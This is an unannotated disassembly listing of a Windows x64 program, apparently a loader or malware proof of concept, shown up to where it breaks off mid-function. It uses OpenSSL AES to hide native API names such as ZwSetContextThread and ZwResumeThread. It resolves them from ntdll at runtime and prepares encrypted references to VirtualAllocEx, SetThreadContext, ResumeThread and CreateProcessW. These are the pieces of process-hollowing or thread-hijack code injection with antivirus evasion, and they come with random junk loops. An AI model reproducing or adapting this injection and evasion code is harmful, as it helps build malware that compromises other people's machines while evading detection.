lea rdx, str.Obfuscated_String:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000b210
lea rdx, [rbp + 0x5c0]
cmp qword [rbp + 0x5d8], 0xf
cmova rdx, qword [rbp + 0x5c0]
mov r8, qword [rbp + 0x5d0]
mov rcx, rax
call fcn.14000c0a0
lea rdx, [0x14000b3f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rbp + 0x5c0]
lea rcx, [rbp + 0x5e0]
call fcn.140003b00
nop
lea rdx, str.Hex_Representation:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000b210
lea rdx, [rbp + 0x5e0]
cmp qword [rbp + 0x5f8], 0xf
cmova rdx, qword [rbp + 0x5e0]
mov r8, qword [rbp + 0x5f0]
mov rcx, rax
call fcn.14000c0a0
lea rdx, [0x14000b3f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_key_length]
mov edx, eax
lea rcx, [rbp + 0x710]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_iv_length]
mov edx, eax
lea rcx, [rbp + 0x6e8]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
mov byte [rsp + 0x20], 1
lea r9, [rbp + 0x750]
lea r8, [rbp + 0x770]
lea rdx, [rbp + 0x5c0]
lea rcx, [rbp + 0x620]
call fcn.140003910
nop
lea rdx, [rbp + 0x620]
lea rcx, [rbp - 0x80]
call fcn.140003b00
mov rdi, rax
lea rdx, str.Encrypted_String__Hex_:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000b210
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x140006595
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.14000c0a0
lea rdx, [0x14000b3f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x1400065f1
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400065eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400065eb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
xor ebx, ebx
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], bl
mov byte [rsp + 0x20], bl
lea r9, [rbp + 0x750]
lea r8, [rbp + 0x770]
lea rdx, [rbp + 0x620]
lea rcx, [rbp + 0x600]
call fcn.140003910
nop
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x140006a4c
lea rdx, str.Failed_to_get_module_handle_for_ntdll.dll
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b210
mov rcx, rax
lea rdx, [0x14000b3f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x618]
cmp rdx, 0xf
jbe 0x1400066a7
inc rdx
mov rcx, qword [rbp + 0x600]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400066a1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400066a1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x610], rbx
mov qword [rbp + 0x618], 0xf
mov byte [rbp + 0x600], 0
mov rdx, qword [rbp + 0x638]
cmp rdx, 0xf
jbe 0x140006705
inc rdx
mov rcx, qword [rbp + 0x620]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400066ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400066ff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x630], rbx
mov qword [rbp + 0x638], 0xf
mov byte [rbp + 0x620], 0
mov rdx, qword [rbp + 0x5f8]
cmp rdx, 0xf
jbe 0x140006763
inc rdx
mov rcx, qword [rbp + 0x5e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000675d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000675d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x5f0], rbx
mov qword [rbp + 0x5f8], 0xf
mov byte [rbp + 0x5e0], 0
mov rdx, qword [rbp + 0x5d8]
cmp rdx, 0xf
jbe 0x1400067c1
inc rdx
mov rcx, qword [rbp + 0x5c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400067bb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400067bb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x5d0], rbx
mov qword [rbp + 0x5d8], 0xf
mov byte [rbp + 0x5c0], 0
mov rdx, qword [rbp + 0x580]
cmp rdx, 0xf
jbe 0x14000681f
inc rdx
mov rcx, qword [rbp + 0x568]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006819
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006819
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x578], rbx
mov qword [rbp + 0x580], 0xf
mov byte [rbp + 0x568], 0
mov rcx, qword [rbp + 0x530]
test rcx, rcx
je 0x14000688e
mov rdx, qword [rbp + 0x540]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006876
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006876
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x530], xmm0
mov qword [rbp + 0x540], rbx
mov rdx, qword [rbp + 0x5a0]
cmp rdx, 0xf
jbe 0x1400068d3
inc rdx
mov rcx, qword [rbp + 0x588]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400068cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400068cd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x598], rbx
mov qword [rbp + 0x5a0], 0xf
mov byte [rbp + 0x588], 0
mov rdx, qword [rbp + 0x520]
cmp rdx, 0xf
jbe 0x140006931
inc rdx
mov rcx, qword [rbp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000692b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000692b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x518], rbx
mov qword [rbp + 0x520], 0xf
mov byte [rbp + 0x508], 0
mov rcx, qword [rbp + 0x4f0]
test rcx, rcx
je 0x1400069a0
mov rdx, qword [rbp + 0x500]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006988
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006988
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], rbx
mov rdx, qword [rbp + 0x560]
cmp rdx, 0xf
jbe 0x1400069e5
inc rdx
mov rcx, qword [rbp + 0x548]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400069df
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400069df
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x558], rbx
mov qword [rbp + 0x560], 0xf
mov byte [rbp + 0x548], 0
mov rcx, qword [rbp + 0x5a8]
test rcx, rcx
je 0x140006a42
mov rdx, qword [rbp + 0x5b8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006a3c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006a3c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov eax, 1
jmp 0x1400092c5
lea rdx, [rbp + 0x600]
cmp qword [rbp + 0x618], 0xf
cmova rdx, qword [rbp + 0x600]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x50], rax
test rax, rax
jne 0x140006b36
lea rdx, str.Failed_to_get_address_of_ZwSetContextThread
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b210
mov rcx, rax
lea rdx, [0x14000b3f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x600]
call fcn.14000a900
nop
lea rcx, [rbp + 0x620]
call fcn.14000a900
nop
lea rcx, [rbp + 0x5e0]
call fcn.14000a900
nop
lea rcx, [rbp + 0x5c0]
call fcn.14000a900
nop
lea rcx, [rbp + 0x568]
call fcn.14000a900
nop
lea rcx, [rbp + 0x530]
call fcn.140009f10
nop
lea rcx, [rbp + 0x588]
call fcn.14000a900
nop
lea rcx, [rbp + 0x508]
call fcn.14000a900
nop
lea rcx, [rbp + 0x4f0]
call fcn.140009f10
nop
lea rcx, [rbp + 0x548]
call fcn.14000a900
nop
lea rcx, [rbp + 0x5a8]
call fcn.140009f10
mov eax, 1
jmp 0x1400092c5
mov ecx, pe_nt_image_headers64
call fcn.14000e2d0
mov rdi, rax
mov ecx, pe_nt_image_headers64
call fcn.14000e2d0
mov rsi, rax
mov dword [rbp - 0x44], ebx
mov dword [rbp - 0x40], ebx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_key_length]
mov edx, eax
lea rcx, [rbp + 0x970]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_iv_length]
mov edx, eax
lea rcx, [rbp + 0x760]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rbx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rdx, rax
lea rax, [rbp + 0x6e8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x710]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
mov dword [rsp + 0x20], 0xf
lea r9, str.ZwResumeThread
lea r8, [rbp - 0x44]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
movsxd rdx, dword [rbp - 0x44]
add rdx, rdi
lea r8, [rbp + 0x528]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
mov eax, dword [rbp + 0x528]
add dword [rbp - 0x44], eax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rdx, rax
lea rax, [rbp + 0x6e8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x710]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
mov dword [rsp + 0x20], 8
lea r9, [rbp + 8]
lea r8, [rbp - 0x40]
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
movsxd rdx, dword [rbp - 0x40]
add rdx, rsi
lea r8, [rbp + 0x528]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
mov eax, dword [rbp + 0x528]
add dword [rbp - 0x40], eax
mov dword [rbp - 0x38], 0
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rdx, rax
lea rax, [rbp + 0x6e8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x710]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
mov eax, dword [rbp - 0x44]
mov dword [rsp + 0x20], eax
mov r9, rdi
lea r8, [rbp - 0x38]
lea rdx, [rbp + 0x9b0]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
movsxd rax, dword [rbp - 0x38]
lea rdx, [rbp + 0x9b0]
add rdx, rax
lea r8, [rbp + 0x528]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
mov eax, dword [rbp + 0x528]
add dword [rbp - 0x38], eax
xor edi, edi
mov qword [rbp - 0x18], rdi
mov dword [rbp - 0x34], edi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rdx, rax
lea rax, [rbp + 0x6e8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x710]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
mov eax, dword [rbp - 0x40]
mov dword [rsp + 0x20], eax
mov r9, rsi
lea r8, [rbp - 0x34]
lea rdx, [rbp - 0x18]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
movsxd rax, dword [rbp - 0x34]
lea rdx, [rbp - 0x18]
add rdx, rax
lea r8, [rbp + 0x528]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
mov eax, dword [rbp + 0x528]
add dword [rbp - 0x34], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov dword [rbp - 0x5c], edi
mov dword [rbp - 0x3c], edi
mov dword [rbp - 0x48], edi
mov dword [rbp - 0x30], edi
mov dword [rbp - 0x58], edi
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
sub rax, r14
mov qword [rbp + 0x6a0], rax
sub r12, r14
mov qword [rbp + 0x6a8], r12
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadContext]
sub rax, r14
mov qword [rbp + 0x6b0], rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
sub rax, r14
mov qword [rbp + 0x6b8], rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessW]
sub rax, r14
mov qword [rbp + 0x670], rax
lea rax, [rbp + 0x6e8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x710]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x5c]
lea r8, [rbp + 0x830]
lea rcx, [rbp + 0x6a0]
call fcn.1400044a0
lea rax, [rbp + 0x6e8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x710]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x3c]
lea r8, [rbp + 0x870]
lea rcx, [rbp + 0x6a8]
call fcn.1400044a0
lea rax, [rbp + 0x6e8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x710]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x48]
lea r8, [rbp + 0x8b0]
lea rcx, [rbp + 0x6b0]
call fcn.1400044a0
lea rax, [rbp + 0x6e8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x710]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x30]
lea r8, [rbp + 0x8f0]
lea rcx, [rbp + 0x6b8]
call fcn.1400044a0
lea rax, [rbp + 0x6e8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x710]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x58]
lea r8, [rbp + 0x930]
lea rcx, [rbp + 0x670]
call fcn.1400044a0
xor r12d, r12d
mov ebx, r12d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
test edi, edi
jle 0x140006f22
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rbp - 0x60], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x51eb851f
imul edi
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x64
sub edi, ecx
mov ecx, dword [rbp - 0x60]
add ecx, edi
mov dword [rbp - 0x50], ecx
mov ecx, dword [rbp - 0x50]
mov eax, dword [rbp - 0x60]
sub ecx, eax
mov dword [rbp - 0x50], ecx
inc ebx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
cmp ebx, edi
jl 0x140006ec2
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140006f58
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b210
mov rcx, rax
lea rdx, [0x14000b3f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140007004
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x6e8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x710]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x140006f8e
lea rdx, str.Failed_to_initialize_decryption
jmp 0x140006fdf
mov eax, dword [rbp - 0x5c]
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0x830]
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0x18]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x140006fbb
lea rdx, str.Failed_to_decrypt_data
jmp 0x140006fdf
movsxd rax, dword [rbp - 0x60]
lea rdx, [rbp + 0x18]
add rdx, rax
lea r8, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x140006ffb
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b210
lea rdx, [0x14000b3f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x14000703a
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b210
mov rcx, rax
lea rdx, [0x14000b3f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400070e6
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x6e8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x710]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x140007070
lea rdx, str.Failed_to_initialize_decryption
jmp 0x1400070c1
mov eax, dword [rbp - 0x3c]
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0x870]
lea r8, [rbp - 0x60]
lea rdx, [rbp - 0x10]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x14000709d
lea rdx, str.Failed_to_decrypt_data
jmp 0x1400070c1
movsxd rax, dword [rbp - 0x60]
lea rdx, [rbp - 0x10]
add rdx, rax
lea r8, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x1400070dd
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b210
lea rdx, [0x14000b3f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x14000711c
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b210
mov rcx, rax
lea rdx, [0x14000b3f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400071ce
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x6e8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x710]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x140007152
lea rdx, str.Failed_to_initialize_decryption
jmp 0x1400071a9
mov eax, dword [rbp - 0x48]
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0x8b0]
lea r8, [rbp - 0x3c]
lea rdx, [rbp + 0x678]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x140007182
lea rdx, str.Failed_to_decrypt_data
jmp 0x1400071a9
movsxd rax, dword [rbp - 0x3c]
lea rdx, [rbp + 0x678]
add rdx, rax
lea r8, [rbp - 0x3c]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x1400071c5
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b210
lea rdx, [0x14000b3f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140007204
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b210
mov rcx, rax
lea rdx, [0x14000b3f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400072b6
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x6e8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x710]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x14000723a
lea rdx, str.Failed_to_initialize_decryption
jmp 0x140007291
mov eax, dword [rbp - 0x30]
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0x8f0]
lea r8, [rbp - 0x48]
lea rdx, [rbp + 0x698]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x14000726a
lea rdx, str.Failed_to_decrypt_data
jmp 0x140007291
movsxd rax, dword [rbp - 0x48]
lea rdx, [rbp + 0x698]
add rdx, rax
lea r8, [rbp - 0x48]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x1400072ad
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b210
lea rdx, [0x14000b3f0]
mov rcx, rax
